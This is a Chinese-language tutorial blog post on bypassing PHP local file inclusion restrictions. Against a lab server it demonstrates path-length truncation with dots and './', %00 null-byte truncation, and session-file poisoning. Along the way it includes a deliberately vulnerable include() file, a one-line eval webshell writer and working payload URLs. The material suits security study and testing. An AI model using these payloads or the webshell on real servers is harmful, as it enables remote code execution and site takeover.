前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >任意文件包含漏洞的绕过方式

任意文件包含漏洞的绕过方式

作者头像
行云博客
发布2020-09-01 10:23:02
3.1K0
发布2020-09-01 10:23:02
举报
文章被收录于专栏:行云博客行云博客

前期准备

file.php代码

代码语言:javascript
复制
<?php
    $a = $_GET['a'];
    include($a.'.html');
 ?>

hack.php代码

代码语言:javascript
复制
<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>');
?>

长目录截断

原理

在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。

正常访问

在这里插入图片描述
在这里插入图片描述

payload

使用.绕过

代码语言:javascript
复制
http://192.168.232.128/file.php?a=hack.php.......................................................................................................................................................................................................................................................

成功生成木马文件

在这里插入图片描述
在这里插入图片描述

蚁剑连接

在这里插入图片描述
在这里插入图片描述

使用./绕过

代码语言:javascript
复制
http://192.168.232.128/file.php?a=hack.php././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
在这里插入图片描述
在这里插入图片描述

PS:当这些符号被过滤时,我们可以尝试URL编码绕过。即当“.”和“./”被过滤时,我们可以尝试使用URL编码绕过“.”–>%2E,“/”–>%2F

%00截断

原理

php基于c语言,是以0字符进行结尾的,所以可以用%00进行截断,之后的字符就不会再读取

条件:

magic_quotes_gpc=off php<5.3.4

payload

http://192.168.232.128/file.php?a=hack.php%00

在这里插入图片描述
在这里插入图片描述

基于session机制传马

条件:

知道session的存储位置(或者通过phpinfo获取到存储位置) session的值可控 存在本地文件包含漏洞

设置session的PHP文件

代码语言:javascript
复制
<?php
session_start();
$ctfs=$_GET['s'];
$_SESSION["username"]=$ctfs;
?>

payload

http://192.168.232.128/se.php?s=<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>');?>

F12通过network找到cookie中的PHPSESSID

在这里插入图片描述
在这里插入图片描述

然后通过之前的file.php文件去包含session存放的文件

http://192.168.232.128/file.php?a=../tmp/tmp/sess_8e2fe1323579620d07c94cfd568be488%00

在这里插入图片描述
在这里插入图片描述

木马生成成功

在这里插入图片描述
在这里插入图片描述

总结

可能的绕过方式

  • 双写绕过
  • 使用绝对路径
  • 对于Windows系统可以使用反斜杠 \
  • 编码绕过
  • 使用伪协议
  • 等等…
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前期准备
  • 长目录截断
    • 原理
      • payload
      • %00截断
        • 原理
          • payload
          • 基于session机制传马
            • 条件:
              • payload
              • 总结
              相关产品与服务
              对象存储
              对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档